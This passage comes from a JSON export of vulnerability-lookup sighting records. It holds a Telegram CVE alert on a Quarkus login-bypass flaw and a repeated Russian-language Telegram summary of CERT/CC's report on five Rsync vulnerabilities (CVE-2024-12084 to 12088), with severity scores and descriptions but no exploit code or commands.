endpoints for registering and logging users in while allowing developers to provide custom REST endpoints. When developers provide custom REST endpoints, the default endpoints remain accessible, potentially allowing attackers to obtain a login cookie that has no corresponding user in the Quarkus application or, depending on how the application is written, could correspond to an existing user that has no relation with the current attacker, allowing anyone to log in as an existing user by just knowing that user's user name. \nSeverity: 9.1 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-07T00:31:32.000000Z"}, {"uuid": "2eadcb06-748e-4b20-86e1-de4a4f5cab82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/onfpowernemesis/3222", "content": "\u041d\u0435\u043c\u0435Z\u0438\u0434\u0430 (Telegram)\n\n\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438...\n\n\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0441\u0442", "creation_timestamp": "2025-01-16T08:41:42.000000Z"}, {"uuid": "808a02c4-fb45-4de4-8ded-be0c6185d4fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/onfpowernemesis/3222", "content": "\u041d\u0435\u043c\u0435Z\u0438\u0434\u0430 (Telegram)\n\n\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438...\n\n\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0441\u0442", "creation_timestamp": "2025-01-16T08:41:42.000000Z"}, {"uuid": "7f02d09c-84c7-4d45-affb-53cf4d53b235", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/onfpowernemesis/3222", "content": "\u041d\u0435\u043c\u0435Z\u0438\u0434\u0430 (Telegram)\n\n\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438...\n\n\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0441\u0442", "creation_timestamp": "2025-01-16T08:41:42.000000Z"}, {"uuid": "ea7cdb6e-64ad-428a-ae70-e1541f8c6668", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/onfpowernemesis/3222", "content": "\u041d\u0435\u043c\u0435Z\u0438\u0434\u0430 (Telegram)\n\n\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438...\n\n\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0441\u0442", "creation_timestamp": "2025-01-16T08:41:42.000000Z"}, {"uuid": "f5898ae7-0d07-4981-a201-1ab9120970ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/onfpowernemesis/3222", "content": "\u041d\u0435\u043c\u0435Z\u0438\u0434\u0430 (Telegram)\n\n\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 